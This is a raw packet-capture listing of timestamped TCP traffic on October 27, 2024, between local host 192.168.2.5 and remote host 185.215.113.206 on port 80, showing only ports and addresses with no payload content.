Oct 27, 2024 07:59:19.195352077 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:19.195358038 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.195372105 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.195425034 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:19.195425034 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:19.312700033 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.312716007 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.312752008 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.312767029 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.312781096 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.312796116 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.312809944 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.312828064 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.312844992 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.312859058 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.312887907 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.312903881 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:19.312903881 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:19.312903881 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:19.312916994 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.312917948 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:19.312923908 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:19.312930107 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:19.312933922 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.312948942 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.312964916 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.312980890 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:19.312994003 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.313009024 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.313021898 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.313035965 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.313064098 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.313091040 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.313105106 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.313119888 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.313148022 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.313163042 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.313178062 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.313193083 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.313199997 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:19.313199997 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:19.313199997 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:19.313210964 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:19.313220978 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:19.313220978 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:19.313225031 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.313252926 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.313267946 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.313282013 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.313294888 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.313302040 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.313316107 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.313328028 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.313344002 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:19.313344002 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:19.313344002 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:19.313344002 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:19.313354969 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.313369989 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.313383102 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.313396931 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.313416958 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:19.313422918 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.313457966 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.313473940 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.313486099 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:19.313486099 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:19.313488960 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.313503027 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.313512087 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:19.313518047 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.313527107 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:19.313533068 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.313569069 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.313585043 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.313596964 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.313607931 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.313616037 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.313622952 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.313626051 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:19.313630104 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.313649893 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:19.313649893 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.313666105 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.313678980 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:19.313679934 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.313694000 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.313716888 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.313719988 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:19.313730001 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.313734055 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:19.313745022 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.313760042 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.313777924 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.313806057 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.313819885 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.313824892 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:19.313824892 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:19.313852072 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.313878059 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.313895941 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.313916922 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:19.313916922 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:19.313922882 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.313937902 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.313970089 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.313983917 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.313997030 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.314024925 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.314038992 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.314050913 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:19.314050913 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:19.314050913 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:19.314054012 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.314064026 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:19.314068079 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.314075947 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.314090014 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.314104080 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.314117908 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.314131975 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:19.314142942 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:19.314148903 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.314163923 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.314178944 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.314193964 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.314209938 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.314224005 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.314238071 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.314249992 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.314263105 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.314276934 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.314289093 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.314304113 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.314318895 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.314333916 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.314347029 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.314362049 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.314363956 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:19.314371109 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:19.314372063 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:19.314372063 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:19.314372063 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:19.314372063 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:19.314372063 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:19.314383030 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:19.314389944 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:19.314416885 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:19.356492996 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.356517076 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.356556892 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:19.356571913 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:19.356600046 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.356614113 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.356642008 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.356654882 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.356683016 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.356683969 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:19.356699944 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.356715918 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.356722116 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:19.356722116 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:19.356726885 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:19.356731892 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.356741905 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:19.356746912 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.356759071 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:19.356764078 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.356792927 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.356822014 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.356828928 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:19.356828928 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:19.356828928 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:19.356834888 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.356864929 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.356879950 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.356906891 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.356921911 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.356934071 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.356940031 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:19.356940031 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:19.356940031 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:19.356949091 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:19.356962919 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.356993914 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.357008934 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.357023954 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.357038975 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.357052088 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.357079983 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.357094049 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:19.357096910 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.357100964 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:19.357100964 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:19.357100964 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:19.357100964 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:19.357108116 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:19.357108116 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:19.357110023 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.357125044 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.357135057 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:19.357135057 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:19.357140064 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.357155085 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.357168913 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.357182026 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.357196093 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.357211113 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.357223988 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.357229948 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:19.357229948 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:19.357237101 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:19.357237101 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:19.357240915 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.357248068 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:19.357248068 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:19.357253075 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.357280016 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:19.357294083 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:19.431067944 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.431083918 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.431119919 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.431133986 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.431149960 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.431164026 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.431196928 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.431210995 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.431226015 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.431255102 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.431272984 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:19.431272984 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:19.431272984 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:19.431277990 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.431287050 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:19.431294918 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:19.431294918 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:19.431309938 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.431346893 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.431351900 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:19.431351900 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:19.431365013 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.431395054 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.431410074 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.431423903 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.431451082 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.431463957 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.431493998 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.431509018 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.431521893 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.431536913 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:19.431536913 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:19.431536913 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:19.431536913 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:19.431550980 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:19.431550980 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:19.431551933 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.431559086 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:19.431565046 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:19.431565046 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:19.431567907 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.431597948 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.431612968 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.431622028 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.431634903 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.431648970 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.431670904 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.431678057 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:19.431678057 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:19.431678057 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:19.431678057 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:19.431699991 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.431715965 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.431730986 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.431745052 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.431750059 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:19.431750059 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:19.431756973 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:19.431759119 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.431790113 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.431804895 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.431832075 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.431847095 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.431862116 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:19.431863070 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.431869984 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:19.431869984 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:19.431875944 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:19.431875944 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:19.431876898 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.431890011 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:19.431894064 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.431910992 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.431925058 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.431948900 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.431957006 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:19.431957006 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:19.431957006 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:19.431957006 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:19.431962013 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.431969881 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:19.431977987 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.431982994 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:19.431993008 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.432008028 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:19.432024956 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.432039022 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.432066917 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.432081938 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.432092905 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:19.432092905 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:19.432101011 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:19.432110071 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.432110071 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:19.432110071 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:19.432126045 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.432153940 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.432168007 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.432182074 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.432197094 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.432210922 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.432224989 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.432239056 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.432252884 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.432252884 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:19.432252884 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:19.432252884 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:19.432252884 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:19.432266951 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.432270050 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:19.432286978 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.432302952 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.432317019 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.432332039 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.432338953 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.432347059 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:19.432348967 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:19.432348967 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:19.432385921 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:19.432385921 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:19.432518959 CET	49704	80	192.168.2.5	185.215.113.206
